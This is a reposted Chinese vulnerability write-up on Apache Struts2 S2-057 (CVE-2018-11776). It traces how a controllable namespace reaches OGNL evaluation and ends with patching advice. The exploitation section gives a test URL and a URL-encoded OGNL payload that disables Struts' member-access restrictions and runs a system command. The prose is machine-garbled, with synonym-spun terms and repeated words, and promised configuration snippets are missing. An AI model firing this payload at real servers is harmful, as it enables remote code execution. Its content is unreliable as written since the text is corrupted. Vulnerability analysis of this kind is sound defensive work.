关于Apache Struts2 S2-057远程代码执行漏洞分析 – FreeBuf互联网安全新媒体平台 | 关注黑客与极客

天融信阿尔法实验室将为你带来Apache Struts2 S2-057远程代码履行破绽阐发~

一、 破绽描述

当struts.mapper.alwaysSelectFullNamespace设置为true,并且package标签页以及result的param标签页的namespace值的缺掉,或应用了通配符时可造成namespace被节制,终极namespace会被带入OGNL语句履行,从而产发展途代码履行破绽

媒介

Apache Struts框架是一个基于 Java Servlets,JavaBeans, 和 JavaServer Pages (JSP)的Web利用框架的开源项目,Struts基于Model-View-Controller (MVC)的设计模式,可以用来构件繁杂的Web利用它容许我们分化一个利用法度榜样的商业逻辑、节制逻辑和体现逻辑的代码,使它的重用性和掩护性更好Struts框架是Jakarta工程的一部分,由Apache软件基金会治理

1. 受影响的系统版本

Apache Struts 2.3 – Struts 2.3.34

Apache Struts 2.5 – Struts 2.5.16

2. 破绽编号

CVE-2018-11776

二、情况搭建

1.下载:http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip

2. 改动设置设置设备摆设摆设文件struts-actionchaining.xml

该破绽有多种进击向量包括:

Redirect action

Action chaining

Postback result

以第一种为例子,改动设置设置设备摆设摆设文件内容为:

三、破绽细节

在DefaultActionMapper这个类的parseNameAndNamespace措施里

当alwaysSelectFullNamespace被设置为true时,namespace的值是从URL中获取的URL是可控的,以是namespace也是可控的

Action履行停止之后,法度榜样会调用ServletActionRedirectResult类中的execute()措施进行重定向Result的解析

首先,当namespace为空时,调用invocation.getProxy().getNamespace()赋值给变量namespace,然后将变量namespace传入ActionMapping构造函数中

然后,ActionMapper.getUriFromActionMapping()对ActionMapping后的值进行重组,天生一个URL字符串(包孕namespace),并赋值给了tmplocation变量

紧接着将带有namespace的tmplocation传入了setLocation()措施中

该措施将tmpLocation值赋值给了StrutsResultSupport类中的location变量

然后,跟踪super.execute()措施

继承跟踪ServletActionResult类中的super.execute()

在StrutsResultSupport类中的execute()措施中,刚刚被赋值的location变量(带有namespace的)被传入了conditionalParse()措施

终极,经由过程TextParseUtil.translateVariables()对namespace进行OGNL解析,导致远程代码履行破绽

四、破绽使用

1. 造访url 为/${(111+111)}/actionChain1.action的地址

造访触发OGNL表达式,url变为/222/register2.action,破绽存在

2. payload:

%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd%3d%40java.lang.Runtime%40getRuntime().exec(%22calc%22))%7d

此payload 仅适用于2.3系列版本

五、修复建议1. 官方补丁

今朝官方已宣布最新版原先修复此破绽,受影响的用户请尽快进级到Apache Struts 2.3.35 或 Struts 2.5.17版本:https://struts.apache.org/download.cgi#struts2517

2. 手工修复

改动设置设置设备摆设摆设文件:

固定package标签页以及result的param标签页的namespace值,以及禁止应用通配符

*本文作者:alphalab,转载请注明来自FreeBuf.COM

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包